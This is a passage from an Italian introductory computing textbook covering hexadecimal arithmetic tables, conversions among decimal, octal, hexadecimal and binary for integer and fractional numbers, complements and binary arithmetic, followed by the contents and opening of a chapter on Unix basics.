F_{16}	F_{16}	10_{16}	11_{16}	12_{16}	13_{16}	14_{16}	15_{16}	16_{16}	17_{16}	18_{16}	19_{16}	$1A_{16}$	$1B_{16}$	$1C_{16}$	$1D_{16}$	$1E_{16}$	$1F_{16}$
10_{16}	10_{16}	11_{16}	12_{16}	13_{16}	14_{16}	15_{16}	16_{16}	17_{16}	18_{16}	19_{16}	$1A_{16}$	$1B_{16}$	$1C_{16}$	$1D_{16}$	$1E_{16}$	$1F_{16}$	20_{16}

Figura 2.20. Esempio di un'addizione con i numeri in base sedici.

$$\begin{array}{r} 1FA_{16} + \\ A1_{16} = \\ \hline 29B_{16} \end{array} \qquad \begin{array}{r} 506_{10} + \\ 161_{10} = \\ \hline 667_{10} \end{array}$$

Tabella 2.21. Tabellina della moltiplicazione con i numeri in base sedici.

×	0_{16}	1_{16}	2_{16}	3_{16}	4_{16}	5_{16}	6_{16}	7_{16}	8_{16}	9_{16}	A_{16}	B_{16}	C_{16}	D_{16}	E_{16}	F_{16}	10_{16}
0_{16}	0_{16}	0_{16}	0_{16}	0_{16}	0_{16}	0_{16}	0_{16}	0_{16}	0_{16}	0_{16}	0_{16}	0_{16}	0_{16}	0_{16}	0_{16}	0_{16}	0_{16}
1_{16}	0_{16}	1_{16}	2_{16}	3_{16}	4_{16}	5_{16}	6_{16}	7_{16}	8_{16}	9_{16}	A_{16}	B_{16}	C_{16}	D_{16}	E_{16}	F_{16}	10_{16}
2_{16}	0_{16}	2_{16}	4_{16}	6_{16}	8_{16}	A_{16}	C_{16}	E_{16}	10_{16}	12_{16}	14_{16}	16_{16}	18_{16}	$1A_{16}$	$1C_{16}$	$1E_{16}$	20_{16}
3_{16}	0_{16}	3_{16}	6_{16}	9_{16}	C_{16}	F_{16}	12_{16}	15_{16}	18_{16}	$1B_{16}$	$1E_{16}$	21_{16}	24_{16}	27_{16}	$2A_{16}$	$2D_{16}$	30_{16}
4_{16}	0_{16}	4_{16}	8_{16}	C_{16}	10_{16}	14_{16}	18_{16}	$1C_{16}$	20_{16}	24_{16}	28_{16}	$2C_{16}$	30_{16}	34_{16}	38_{16}	$3C_{16}$	40_{16}
5_{16}	0_{16}	5_{16}	A_{16}	F_{16}	14_{16}	19_{16}	$1E_{16}$	23_{16}	28_{16}	$2D_{16}$	32_{16}	37_{16}	$3C_{16}$	41_{16}	46_{16}	$4B_{16}$	50_{16}
6_{16}	0_{16}	6_{16}	C_{16}	12_{16}	18_{16}	$1E_{16}$	24_{16}	$2A_{16}$	30_{16}	36_{16}	$3C_{16}$	42_{16}	48_{16}	$4E_{16}$	54_{16}	$5A_{16}$	60_{16}
7_{16}	0_{16}	7_{16}	E_{16}	15_{16}	$1C_{16}$	23_{16}	$2A_{16}$	31_{16}	38_{16}	$3F_{16}$	46_{16}	$4D_{16}$	54_{16}	$5B_{16}$	62_{16}	69_{16}	70_{16}
8_{16}	0_{16}	8_{16}	10_{16}	18_{16}	20_{16}	28_{16}	30_{16}	38_{16}	40_{16}	48_{16}	50_{16}	58_{16}	60_{16}	68_{16}	70_{16}	78_{16}	80_{16}
9_{16}	0_{16}	9_{16}	12_{16}	$1B_{16}$	24_{16}	$2D_{16}$	36_{16}	$3F_{16}$	48_{16}	51_{16}	$5A_{16}$	63_{16}	$6C_{16}$	75_{16}	$7E_{16}$	87_{16}	90_{16}
A_{16}	0_{16}	A_{16}	14_{16}	$1E_{16}$	28_{16}	32_{16}	$3C_{16}$	46_{16}	50_{16}	$5A_{16}$	64_{16}	$6E_{16}$	78_{16}	82_{16}	$8C_{16}$	96_{16}	$A0_{16}$
B_{16}	0_{16}	B_{16}	16_{16}	21_{16}	$2C_{16}$	37_{16}	42_{16}	$4D_{16}$	58_{16}	63_{16}	$6E_{16}$	79_{16}	84_{16}	$8F_{16}$	$9A_{16}$	$A5_{16}$	$B0_{16}$
C_{16}	0_{16}	C_{16}	18_{16}	24_{16}	30_{16}	$3C_{16}$	48_{16}	54_{16}	60_{16}	$6C_{16}$	78_{16}	84_{16}	90_{16}	$9C_{16}$	$A8_{16}$	$B4_{16}$	$C0_{16}$
D_{16}	0_{16}	D_{16}	$1A_{16}$	27_{16}	34_{16}	41_{16}	$4E_{16}$	$5B_{16}$	68_{16}	75_{16}	82_{16}	$8F_{16}$	$9C_{16}$	$A9_{16}$	$B6_{16}$	$C3_{16}$	$D0_{16}$
E_{16}	0_{16}	E_{16}	$1C_{16}$	$2A_{16}$	38_{16}	46_{16}	54_{16}	62_{16}	70_{16}	$7E_{16}$	$8C_{16}$	$9A_{16}$	$A8_{16}$	$B6_{16}$	$C4_{16}$	$D2_{16}$	$E0_{16}$
F_{16}	0_{16}	F_{16}	$1E_{16}$	$2D_{16}$	$3C_{16}$	$4B_{16}$	$5A_{16}$	69_{16}	78_{16}	87_{16}	96_{16}	$A5_{16}$	$B4_{16}$	$C3_{16}$	$D2_{16}$	$E1_{16}$	$F0_{16}$
10_{16}	0_{16}	10_{16}	20_{16}	30_{16}	40_{16}	50_{16}	60_{16}	70_{16}	80_{16}	90_{16}	$A0_{16}$	$B0_{16}$	$C0_{16}$	$D0_{16}$	$E0_{16}$	$F0_{16}$	100_{16}

Figura 2.22. Esempio di moltiplicazione con i numeri in base sedici.

$$
\begin{array}{rl}
1FA_{16} & \times \\
123_{16} & = \\
\hline
5EE_{16} & \\
3F4_{16} & \\
1FA_{16} & \\
\hline
23F2E_{16} &
\end{array}
\qquad
\begin{array}{rl}
506_{10} & \times \\
291_{10} & = \\
\hline
506_{10} & \\
4554_{10} & \\
1012_{10} & \\
\hline
147246_{10} &
\end{array}
$$

2.2 Conversioni numeriche di valori interi

L'uso dell'elaboratore può richiedere la capacità di convertire valori numerici espressi in diversi sistemi di numerazione; per la precisione può essere necessario saper trasformare un numero in una base differente. Prima di poter convertire un numero in una base di numerazione differente, occorre comprendere il senso della numerazione decimale, ovvero di quella standard (per gli esseri umani).

Un numero espresso in base dieci, viene interpretato sommando il valore di ogni singola cifra moltiplicando per 10^n (n rappresenta la cifra n-esima, a partire da zero). Per esempio, 12345 si può esprimere come $5\times10^0 + 4\times10^1 + 3\times10^2 + 2\times10^3 + 1\times10^4$. Nello stesso modo, si può scomporre un numero per esprimerlo in base dieci dividendo ripetutamente il numero per la base, recuperando ogni volta il resto della divisione. Per esempio, il valore 12345 (che ovviamente è già espresso in base dieci), si scompone nel modo seguente: 12345/10=1234 con il

resto di cinque; 1234/10=123 con il resto di quattro; 123/10=12 con il resto di tre; 12/10=1 con il resto di due; 1/10=0 con il resto di uno (quando si ottiene un quoziente nullo, la conversione è terminata). Ecco che la sequenza dei resti dà il numero espresso in base dieci: 12345.

Riquadro 2.23. Il resto della divisione.

Per riuscire a convertire un numero intero da una base di numerazione a un'altra, occorre sapere calcolare il resto della divisione.
Si immagini di avere un sacchetto di nove palline uguali, da dividere equamente fra quattro amici. Per calcolare quante palline spettano a ognuno, si esegue la divisione seguente:
9/4 = 2,25
Il risultato intero della divisione è due, pertanto ognuno dei quattro amici può avere due palline e il resto della divisione è costituito dalle palline che non possono essere suddivise. Come si comprende facilmente, il resto è di una pallina:
9 − (2×4) = 1

2.2.1 Numerazione ottale

La numerazione ottale, ovvero in base otto, si avvale di otto cifre per rappresentare i valori: da zero a sette. La tecnica di conversione di un numero ottale in un numero decimale è la stessa mostrata a titolo esemplificativo per il sistema decimale, con la differenza che la base di numerazione è otto. Per esempio, per interpretare il numero ottale 12345_8, si procede come segue: $5\times8^0 + 4\times8^1 + 3\times8^2 + 2\times8^3 + 1\times8^4$. Pertanto, lo stesso numero si potrebbe rappresentare in base dieci come 5349. Al contrario, per convertire il numero 5349 (qui espresso in base 10), si può procedere nel modo seguente: 5349/8=668 con il resto di cinque; 668/8=83 con il resto di quattro; 83/8=10 con il resto di tre; 10/8=1 con il resto di due; 1/8=0 con il resto di uno. Ecco che così si riottiene il numero ottale 12345_8.

Figura 2.24. Conversione in base otto.

32485_{10}

$32485/8$ = 4060 con resto di 5

$4060/8$ = 507 con resto di 4

$507/8$ = 63 con resto di 3

$63/8$ = 7 con resto di 7

$7/8$ = 0 con resto di 7

→ 77345_8

Figura 2.25. Calcolo del valore corrispondente di un numero espresso in base otto.

77345_8

$5 \times 8^0 = 5_{10}$

$4 \times 8^1 = 32_{10}$

$3 \times 8^2 = 192_{10}$

$7 \times 8^3 = 3584_{10}$

$7 \times 8^4 = 28672_{10}$

totale 32485_{10}

2.2.2 Numerazione esadecimale

La numerazione esadecimale, ovvero in base sedici, funziona in modo analogo a quella ottale, con la differenza che si avvale di 16 cifre per rappresentare i valori, per cui si usano le cifre numeriche da zero a nove, più le lettere da «A» a «F» per i valori successivi. In pratica, la lettera «A» nelle unità corrisponde al numero 10 e la lettera «F» nelle unità corrisponde al numero 15.

La tecnica di conversione è la stessa già vista per il sistema ottale, tenendo conto della difficoltà ulteriore introdotta dalle lettere aggiuntive. Per esempio, per interpretare il numero esadecimale $19ADF_{16}$, si procede come segue: $15\times16^0 + 13\times16^1 + 10\times16^2 + 9\times16^3 + 1\times16^4$. Pertanto, lo stesso numero si potrebbe rappresentare in base dieci come 105 183. Al contrario, per convertire il numero 105 183 (qui espresso in base 10), si può procedere nel modo seguente: 105 183/16=6573 con il resto di 15, ovvero F_{16}; 6573/16=410 con il resto di 13, ovvero D_{16}; 410/16=25 con il resto di 10, ovvero A_{16}; 25/16=1 con il resto di nove; 1/16=0 con il resto di uno. Ecco che così si riottiene il numero esadecimale $19ADF_{16}$.

Figura 2.26. Conversione in base sedici.

32485_{10}

$32485/16 =$ 2030 con resto di $5_{10} = 5_{16}$

$2030/16 =$ 126 con resto di $14_{10} = E_{16}$

$126/16 =$ 7 con resto di $14_{10} = E_{16}$

$7/16 =$ 0 con resto di $7_{10} = 7_{16}$

$7EE5_{16}$

Figura 2.27. Calcolo del valore corrispondente di un numero espresso in base sedici.

$7EE5_{16}$

$5 \times 16^0 = 5_{10}$

$E_{16} \rightarrow 14 \times 16^1 = 224_{10}$

$E_{16} \rightarrow 14 \times 16^2 = 3584_{10}$

$7 \times 16^3 = 28672_{10}$

totale 32485_{10}

2.2.3 Numerazione binaria

La numerazione binaria, ovvero in base due, si avvale di sole due cifre per rappresentare i valori: zero e uno. Si tratta evidentemente di un esempio limite di rappresentazione di valori, dal momento che utilizza il minor numero di cifre. Questo fatto semplifica in pratica la conversione.

Seguendo la logica degli esempi già mostrati, si analizza brevemente la conversione del numero binario 1100_2: $0 \times 2^0 + 0 \times 2^1 + 1 \times 2^2 + 1 \times 2^3$. Pertanto, lo stesso numero si potrebbe rappresentare come 12 secondo il sistema standard. Al contrario, per convertire il numero 12, si può procedere nel modo seguente: 12/2=6 con il resto di zero; 6/2=3 con il resto di zero; 3/2=1 con il resto di uno; 1/2=0 con il resto di uno. Ecco che così si riottiene il numero binario 1100_2.

Figura 2.28. Conversione da base dieci a base due e viceversa.

32485_{10}

32485/2	=	16242 con resto di 1
16242/2	=	8121 con resto di 0
8121/2	=	4060 con resto di 1
4060/2	=	2030 con resto di 0
2030/2	=	1015 con resto di 0
1015/2	=	507 con resto di 1
507/2	=	253 con resto di 1
253/2	=	126 con resto di 1
126/2	=	63 con resto di 0
63/2	=	31 con resto di 1
31/2	=	15 con resto di 1
15/2	=	7 co n resto di 1
7/2	=	3 con resto di 1
3/2	=	1 con resto di 1
1/2	=	0 con resto di 1

111111011100101_2

111111011100101_2

1×2^0	=	1_{10}
0×2^1	=	0_{10}
1×2^2	=	4_{10}
0×2^3	=	0_{10}
0×2^4	=	0_{10}
1×2^5	=	32_{10}
1×2^6	=	64_{10}
1×2^7	=	128_{10}
0×2^8	=	0_{10}
1×2^9	=	512_{10}
1×2^{10}	=	1024_{10}
1×2^{11}	=	2048_{10}
1×2^{12}	=	4096_{10}
1×2^{13}	=	8192_{10}
1×2^{14}	=	16384_{10}

totale 32485_{10}

Si può convertire un numero in binario, in modo più semplice, se si costruisce una tabellina simile a quella seguente:

16384	8192	4096	2048	1024	512	256	128	64	32	16	8	4	2	1

I valori indicati sopra ogni casellina sono la sequenza delle potenze di due: 2^0, 2^1, 2^2,... 2^n.

Se si vuole convertire un numero binario in base dieci, basta disporre le sue cifre dentro le caselline, allineato a destra, moltiplicando ogni singola cifra per il valore che gli appare sopra, sommando poi ciò che si ottiene. Per esempio:

16384	8192	4096	2048	1024	512	256	128	64	32	16	8	4	2	1	
											1	0	1	0	
											8	+ 0	+ 2	+ 0	= 10

Per trovare il corrispondente binario di un numero in base 10, basta sottrarre sempre il valore più grande possibile. Supponendo di voler convertire il numero 123 in binario, si possono sottrarre i valori: 64, 32, 16, 8, 2 e 1:

16384	8192	4096	2048	1024	512	256	128	64	32	16	8	4	2	1
								1	1	1	1	0	1	1

64 + 32 + 16 + 8 + 0 + 2 + 1 = 123

2.2.4 Conversione tra ottale, esadecimale e binario

I sistemi di numerazione ottale ed esadecimale hanno la proprietà di convertirsi in modo facile in binario e viceversa. Infatti, una cifra ottale richiede esattamente tre cifre binarie per la sua rappresentazione, mentre una cifra esadecimale richiede quattro cifre binarie per la sua rappresentazione. Per esempio, il numero ottale 123_8 si converte facilmente in 001010011_2; inoltre, il numero esadecimale $3C_{16}$ si converte facilmente in 00111100_2.

Figura 2.32. Conversione tra la numerazione ottale e numerazione binaria.

123_8 → 001_2, 010_2, 011_2 = 001010011_2

001010011_2 → 1_8, 2_8, 3_8 = 123_8

In pratica, è sufficiente convertire ogni cifra ottale o esadecimale nel valore corrispondente in binario. Quindi, sempre nel caso di 123_8, si ottengono 001_2, 010_2 e 011_2, che basta attaccare come già è stato mostrato. Nello stesso modo si procede nel caso di $3C_{16}$, che forma rispettivamente 0011_2 e 1100_2.

Figura 2.33. Conversione tra la numerazione esadecimale e numerazione binaria.

$3C_{16}$ → 0011_2, 1100_2 = 00111100_2

00111100_2 → 3_{16}, C_{16} = $3C_{16}$

È evidente che risulta facilitata ugualmente la conversione da binario a ottale o da binario a esadecimale.

Figura 2.34. Riassunto della conversione tra binario-ottale e binario-esadecimale.

$111\,111\,011\,100\,101_2$

$7\ 7\ 3\ 4\ 5_8$

$0111\,1110\,1110\,0101_2$

7 14 14 5

$7\ E\ E\ 5_{16}$

$0111\,1110\,1110\,0101_2$

Tabella 2.35. Conversione rapida binario-ottale e binario-esadecimale.

binario	ottale	binario	esadecimale	binario	esadecimale
000	0	0000	0	1000	8
001	1	0001	1	1001	9
010	2	0010	2	1010	A
011	3	0011	3	1011	B
100	4	0100	4	1100	C
101	5	0101	5	1101	D
110	6	0110	6	1110	E
111	7	0111	7	1111	F

Figura 2.36. Tabellina di conversione binario-decimale fino a 32 bit.

2^{31}	2^{30}	2^{29}	2^{28}	2^{27}	2^{26}	2^{25}	2^{24}
2147 483648	1073 741824	536 870912	268 435456	134 217728	67 108864	33 554432	16 777216

2^{23}	2^{22}	2^{21}	2^{20}	2^{19}	2^{18}	2^{17}	2^{16}
8388 608	4194 304	2097 152	1048 576	524 288	262 144	131 072	65536

2^{7}	2^{6}	2^{5}	2^{4}	2^{3}	2^{2}	2^{1}	2^{0}
128	64	32	16	8	4	2	1

2^{15}	2^{14}	2^{13}	2^{12}	2^{11}	2^{10}	2^{9}	2^{8}
32768	16384	8192	4096	2048	1024	512	256

2.3 Conversioni numeriche di valori non interi

La conversione di valori non interi in basi di numerazione differenti, richiede un procedimento più complesso, dove si convertono, separatamente, la parte intera e la parte restante.

Il procedimento di scomposizione di un numero che contenga delle cifre dopo la parte intera, si svolge in modo simile a quello di un numero intero, con la differenza che le cifre dopo la parte intera vanno moltiplicate per la base elevata a una potenza negativa. Per esempio, il numero $12{,}345_{10}$ si può esprimere come $1\times10^1 + 2\times10^0 + 3\times10^{-1} + 4\times10^{-2} + 5\times10^{-3}$.

2.3.1 Conversione da base 10 ad altre basi

Come già accennato la conversione di un numero in un'altra base procede in due fasi: una per la parte intera, l'altra per la parte restante, unendo poi i due valori trovati. Per comprendere il meccanismo conviene simulare una conversione dalla base 10 alla stessa base 10, con un esempio: 12,345.

Per la parte intera, si procede come al solito, dividendo per la base di numerazione del numero da trovare e raccogliendo i resti; per la parte rimanente, il procedimento richiede invece di moltiplicare il valore per la base di destinazione e raccogliere le cifre intere trovate. Si osservi la figura successiva che rappresenta il procedimento.

Figura 2.37. Conversione da base 10 a base 10.

$12{,}345_{10}$

$12/10$ = 1 con il resto di 2 → 2

$1/10$ = 0 con il resto di 1 → 1

$0{,}345 \times 10 = 3{,}45$ → 3

$0{,}45 \times 10 = 4{,}5$ → 4

$0{,}5 \times 10 = 5$ → 5

→ $12{,}345_{10}$

Quello che si deve osservare dalla figura è che l'ordine delle cifre cambia nelle due fasi del calcolo. Nelle figure successive si vedono altri esempi di conversione nelle altre basi di numerazione comuni.

Figura 2.38. Conversione da base 10 a base 16.

$12{,}345_{10}$

$12/16$ = 0 con il resto di 12 → C

$0{,}345 \times 16 = 5{,}52$ → 5

$0{,}52 \times 16 = 8{,}32$ → 8

$0{,}32 \times 16 = 5{,}12$ → 5

$0{,}12 \times 16 = 1{,}92$ → 1

$0{,}92 \times 16 = 14{,}72$ → E

$0{,}72 \times 16 = 11{,}52$ → B

⋮ ⋮ ⋮

→ $C{,}5851EB_{16}$

Figura 2.39. Conversione da base 10 a base 8.

$12{,}345_{10}$

$12/8$	=	1 con il resto di 4	→ 4
$1/8$	=	0 con il resto di 1	→ 1
$0{,}345 \times 8$	=	2,76	→ 2
$0{,}76 \times 8$	=	6,08	→ 6
$0{,}08 \times 8$	=	0,64	→ 0
$0{,}64 \times 8$	=	5,12	→ 5
⋮		⋮	⋮

→ $14{,}2605_8$

Figura 2.40. Conversione da base 10 a base 2.

$12{,}345_{10}$

$12/2$	=	6 con il resto di 0	→ 0
$6/2$	=	3 con il resto di 0	→ 0
$3/2$	=	1 con il resto di 1	→ 1
$1/2$	=	0 con il resto di 1	→ 1
$0{,}345 \times 2$	=	0,69	→ 0
$0{,}69 \times 2$	=	1,38	→ 1
$0{,}38 \times 2$	=	0,76	→ 0
$0{,}76 \times 2$	=	1,52	→ 1
$0{,}52 \times 2$	=	1,04	→ 1
⋮		⋮	⋮

→ $1100{,}01011_2$

2.3.2 Conversione a base 10 da altre basi

Per convertire un numero da una base di numerazione qualunque alla base 10, è necessario attribuire a ogni cifra il valore corrispondente, da sommare poi per ottenere il valore complessivo. Nelle figure successive si vedono gli esempi relativi alle basi di numerazione più comuni.

Figura 2.41. Conversione da base 16 a base 10.

$C{,}5851EB_{16}$

$C_{16} \rightarrow 12 \times 16^{0} = 12_{10}$

$5 \times 16^{-1} = 0{,}3125000_{10}$

$8 \times 16^{-2} = 0{,}0312500_{10}$

$5 \times 16^{-3} = 0{,}0012207_{10}$

$1 \times 16^{-4} = 0{,}0000152_{10}$

$E_{16} \rightarrow 14 \times 16^{-5} = 0{,}0000133_{10}$

$B_{16} \rightarrow 11 \times 16^{-6} = 0{,}0000006_{10}$

totale $12{,}3449998_{10}$

Figura 2.42. Conversione da base 8 a base 10.

$14{,}2605_{8}$

$1 \times 8^{1} = 8_{10}$

$4 \times 8^{0} = 4_{10}$

$2 \times 8^{-1} = 0{,}2500000_{10}$

$6 \times 8^{-2} = 0{,}0937500_{10}$

$0 \times 8^{-3} = 0{,}0000000_{10}$

$5 \times 8^{-4} = 0{,}0012207_{10}$

totale $12{,}3449707_{10}$

Figura 2.43. Conversione da base 2 a base 10.

$1100{,}01011_{2}$

$1 \times 2^{3} = 8_{10}$

$1 \times 2^{2} = 4_{10}$

$0 \times 2^{1} = 0_{10}$

$0 \times 2^{0} = 0_{10}$

$0 \times 2^{-1} = 0_{10}$

$1 \times 2^{-2} = 0{,}25000_{10}$

$0 \times 2^{-3} = 0_{10}$

$1 \times 2^{-4} = 0{,}06250_{10}$

$1 \times 2^{-5} = 0{,}03125_{10}$

totale $12{,}34375_{10}$

2.3.3 Conversione tra ottale, esadecimale e binario

Per quanto riguarda la conversione tra sistemi di numerazione ottale, esadecimale e binario, vale lo stesso principio dei numeri interi, con la differenza che occorre rispettare la separazione della parte intera da quella decimale. L'esempio della figura successiva dovrebbe essere abbastanza chiaro.

Figura 2.44. Conversione tra binario-ottale e binario-esadecimale.

$$001\,100,010\,110\,000\,101_2$$
$$1\;4,2\;6\;0\;5_8$$
$$001\,100,010\,110\,000\,101_2$$
$$12\quad 5\quad 8\quad 5$$
$$C,5\;8\;5_{16}$$
$$1100,0101\,1000\,0101_2$$

2.4 Le operazioni elementari e il sistema binario

Può essere utile conoscere alcuni concetti legati ai calcoli più semplici, specie quando applicati al sistema binario. Nelle sezioni successive si riepilogano i procedimenti per eseguire le «quattro operazioni» con il sistema binario.

2.4.1 Complemento alla base di numerazione

Dato un numero n, espresso in base b, con k cifre, il ***complemento alla base*** è costituito da $b^k - n$.

Per esempio, il complemento alla base del numero 00123456789 (espresso in base dieci utilizzando 11 cifre) è 99876543211:

$$\begin{array}{r} 100000000000_{10} - \\ 00123456789_{10} = \\ \hline 99876543211_{10} \end{array}$$

Dall'esempio si deve osservare che la quantità di cifre utilizzata è determinante nel calcolo del complemento, infatti, il complemento alla base dello stesso numero, usando però solo nove cifre (123456789) è invece 876543211:

$$\begin{array}{r} 1000000000_{10} - \\ 123456789_{10} = \\ \hline 876543211_{10} \end{array}$$

In modo analogo si procede con i valori aventi una base diversa; per esempio, il complemento alla base del numero binario 00110011_2, composto da otto cifre, è pari a 11001101_2:

$$\begin{array}{r} 100000000_2 - \\ 00110011_2 = \\ \hline 11001101_2 \end{array}$$

Il calcolo del complemento alla base, nel sistema binario, avviene in modo molto semplice, se si trasforma in questo modo:

$$\begin{array}{r} 11111111_2 - \\ 00110011_2 = \\ \hline 11001100_2 + \\ 1_2 = \\ \hline 11001101_2 \end{array}$$

In pratica, si prende un numero composto da una quantità di cifre a uno, pari alla stessa quantità di cifre del numero di partenza; quindi si esegue la sottrazione, poi si aggiunge il valore uno al risultato finale. Si osservi però cosa accade con una situazione leggermente differente, per il calcolo del complemento alla base di 0011001100_2:

$$\begin{array}{r} 1111111111_2 - \\ 0011001100_2 = \\ \hline 1100110011_2 + \\ 1_2 = \\ \hline 1100110100_2 \end{array}$$

Per eseguire una sottrazione, si può calcolare il complemento alla base del sottraendo (il valore da sottrarre), sommandolo poi al valore di partenza, trascurando il riporto eventuale. Per esempio, volendo sottrarre da 1757 il valore 758, si può calcolare il complemento alla base di 0758 (usando la stessa quantità di cifre dell'altro valore), per poi sommarla. Il complemento alla base di 0758 è 9242:

$$\begin{array}{r} 10000_{10} - \\ 0758_{10} = \\ \hline 9242_{10} \end{array}$$

Invece di eseguire la sottrazione, si somma il valore ottenuto a quello di partenza, ignorando il riporto:

$$
\begin{array}{r}
1757_{10} + \\
9242_{10} = \\
\hline
10999_{10} - \\
10000_{10} = \\
\hline
999_{10}
\end{array}
$$

Infatti: 1757−758=999.

2.4.2 Complemento a uno e complemento a due

Quando si fa riferimento a numeri in base due, il complemento alla base è più noto come «complemento a due» (che evidentemente è la stessa cosa). D'altro canto, il complemento a uno è ciò che è già stato descritto con l'esempio seguente, dove si ottiene a partire dal numero 0011001100_2:

$$
\begin{array}{r}
1111111111_2 - \\
0011001100_2 = \\
\hline
1100110011_2
\end{array}
$$

Si comprende intuitivamente che il complemento a uno si ottiene semplicemente invertendo le cifre binarie:

$$
0011001100_2 \downarrow 1100110011_2
$$

Pertanto, il complemento a due di un numero binario si ottiene facilmente invertendo le cifre del numero di partenza e aggiungendo una unità al risultato.

2.4.3 Addizione binaria

L'addizione binaria avviene in modo analogo a quella del sistema decimale, con la differenza che si utilizzano soltanto due cifre numeriche: 0 e 1. Pertanto, si possono presentare solo i casi seguenti:

$$
\begin{array}{l}
0_2 + 0_2 = 0_2 \\
0_2 + 1_2 = 1_2 \\
1_2 + 0_2 = 1_2 \\
1_2 + 1_2 = 10_2 \quad \text{ovvero: zero con riporto di uno}
\end{array}
$$

Se si aggiunge un riporto alla somma tra due cifre binarie, si anno questi altri casi:

$1_2 + 0_2 + 0_2 = 1_2$

$1_2 + 0_2 + 1_2 = 10_2$ ovvero: zero con riporto di uno

$1_2 + 1_2 + 0_2 = 10_2$ ovvero: zero con riporto di uno

$1_2 + 1_2 + 1_2 = 11_2$ ovvero: uno con riporto di uno

Segue l'esempio di una somma tra due numeri in base due:

$$
\begin{array}{rl}
10011001_2 + & (153_{10}) \\
00110011_2 = & (51_{10}) \\
\hline
11001100_2 & (204_{10})
\end{array}
$$

2.4.4 Sottrazione binaria

La sottrazione binaria può essere eseguita nello stesso modo di quella che si utilizza nel sistema decimale. Come avviene nel sistema decimale, quando una cifra del minuendo (il numero di partenza) è minore della cifra corrispondente nel sottraendo (il numero da sottrarre), si prende a prestito una unità dalla cifra precedente (a sinistra), che così si somma al minuendo con il valore della base di numerazione. L'esempio seguente mostra una sottrazione con due numeri binari:

$$
\begin{array}{rl}
10011001_2 - & (153_{10}) \\
00110011_2 = & (51_{10}) \\
\hline
01100110_2 & (102_{10})
\end{array}
$$

Generalmente, la sottrazione binaria viene eseguita sommando il complemento alla base del sottraendo. Il complemento alla base di 00110011_2 con otto cifre è 11001101_2:

$$
\begin{array}{rl}
100000000_2 & - \\
00110011_2 & = \\
\hline
11001101_2 &
\end{array}
$$

Pertanto, la sottrazione originale diventa una somma, dove si trascura il riporto:

$$
\begin{array}{rl}
10011001_2 + & (153_{10}) \\
11001101_2 = & \\
\hline
101100110_2 - & \\
100000000_2 = & \\
\hline
01100110_2 & (102_{10})
\end{array}
$$

2.4.5 Moltiplicazione binaria

La moltiplicazione binaria si esegue in modo analogo a quella per il sistema decimale, con il vantaggio che è sufficiente sommare il moltiplicando, facendolo scorrere verso sinistra, in base al valore del moltiplicatore. Naturalmente, lo spostamento di un valore binario verso sinistra di n posizioni, corrisponde a moltiplicarlo per 2^n. Si osservi l'esempio seguente dove si moltiplica 10011001_2 per 1011_2:

$$
\begin{array}{rlr}
10011001_2 & \times & (153_{10}) \\
1011_2 & = & (11_{10}) \\
\hline
10011001_2 & + & \\
10011001_2 & + & \\
00000000_2 & + & \\
10011001_2 & = & \\
\hline
11010010011_2 & & (1683_{10})
\end{array}
$$

2.4.6 Divisione binaria

La divisione binaria si esegue in modo analogo al procedimento per i valori in base dieci. Si osservi l'esempio seguente, dove si divide il numero 10110_2 (22_{10}) per 100_2 (4_{10}):

$$
\begin{array}{r}
10110_2 : 100_2 = 101,1_2 \\
100_2 \\
\hline
0110_2 \\
000_2 \\
\hline
110_2 \\
100_2 \\
\hline
10_2 \\
100_2 \\
\hline
0_2
\end{array}
$$

In questo caso il risultato è 101_2 (5_{10}), con il resto di 10_2 (2_{10}); ovvero $101,1_2$ ($5,5_{10}$).

Intuitivamente si comprende che: si prende il divisore, senza zeri anteriori, lo si fa scorrere a sinistra in modo da trovarsi allineato inizialmente con il dividendo; se la sottrazione può avere luogo, si scrive la cifra 1_2 nel risultato; si continua con gli scorrimenti e le sottrazioni; al termine, il valore residuo è il resto della divisione intera.

2.5 Riferimenti

- Mario Italiani, Giuseppe Serazzi, *Elementi di informatica*, ETAS libri, 1973, ISBN 8845303632
- Tony R. Kuphaldt, *Lessons In Electric Circuits*, *Digital*

  ⟨http://www.faqs.org/docs/electric/ ⟩

  ⟨http://www.faqs.org/docs/electric/Digital/index.html ⟩

Capitolo 3

Introduzione all'uso

3.1 L'elaboratore 60

3.2 Dispositivi 62

3.2.1 Tastiera 63
3.2.2 Schermo 64
3.2.3 Stampante 64
3.2.4 Dispositivi di memorizzazione 64

3.3 File e file system 65

3.4 Sistema operativo 67

3.5 Kernel 68

3.6 Shell 68

3.7 Programmi 70

3.8 Distinzione tra lettere maiuscole e lettere minuscole 70

3.9 Root 70

3.10 Utenti 70

3.11 Avvio 72

3.12 Inizializzazione e gestione dei processi 72

3.13 Demoni 72

3.14 Gestione dei servizi di rete 73

3.15 Registrazione e controllo degli accessi 73

3.16 Strumenti di sviluppo software 73

3.17 Arresto o riavvio del sistema 74

3.18 File e directory in un sistema Unix 74

3.19 Collegamenti 76

3.20 Nomi dei file 76

3.21 Permessi 76

3.21.1 Permessi speciali: S-bit 78

3.22 Date 79

3.23 Utenza e accesso 79

3.24 Interpretazione dei comandi 80

3.24.1 File globbing 80
3.24.2 Tilde 81

3.24.3 Variabili di ambiente 81

3.25 Ridirezione e condotti 82

3.25.1 Ridirezione dello standard input 82
3.25.2 Ridirezione dello standard output 82
3.25.3 Ridirezione dello standard error 83
3.25.4 Condotti 83

3.26 Comandi e programmi di servizio di uso comune 84

3.27 Programma o eseguibile 86

3.28 ABC dei comandi Unix 86

3.28.1 ls: «list» 86
3.28.2 cd: «change directory» 87
3.28.3 mkdir: «make directory» 87
3.28.4 cp: «copy» 88
3.28.5 ln: «link» 89
3.28.6 rm: «remove» 90
3.28.7 mv: «move» 91
3.28.8 cat: «concatenate» 91

3.29 Glossario minimo per il principiante 91

3.29.1 Sistema operativo in generale 92
3.29.2 Utenza 92
3.29.3 File e file system 93
3.29.4 Rete 94
3.29.5 Programmi, esecuzione e processi elaborativi 95
3.29.6 Varie 97

3.30 Unità di misura 98

3.31 Riferimenti 100

3.1 L'elaboratore

Per comprendere la struttura di un elaboratore si può immaginare il comportamento di un cuoco nella sua cucina. Il cuoco prepara delle pietanze, o piatti, che gli sono stati ordinati, basandosi sulle indicazioni delle ricette corrispondenti. Le ordinazioni vengono effettuate dai clienti che si rivolgono al cuoco perché hanno appetito.

- L'elaboratore è la cucina;
- il cuoco è il microprocessore o CPU;
- l'appetito è il bisogno da soddisfare ovvero il problema da risolvere;
- la ricetta è il programma che il microprocessore deve eseguire;
- gli ingredienti sono l'input del programma;
- le pietanze o i piatti sono l'output del programma.

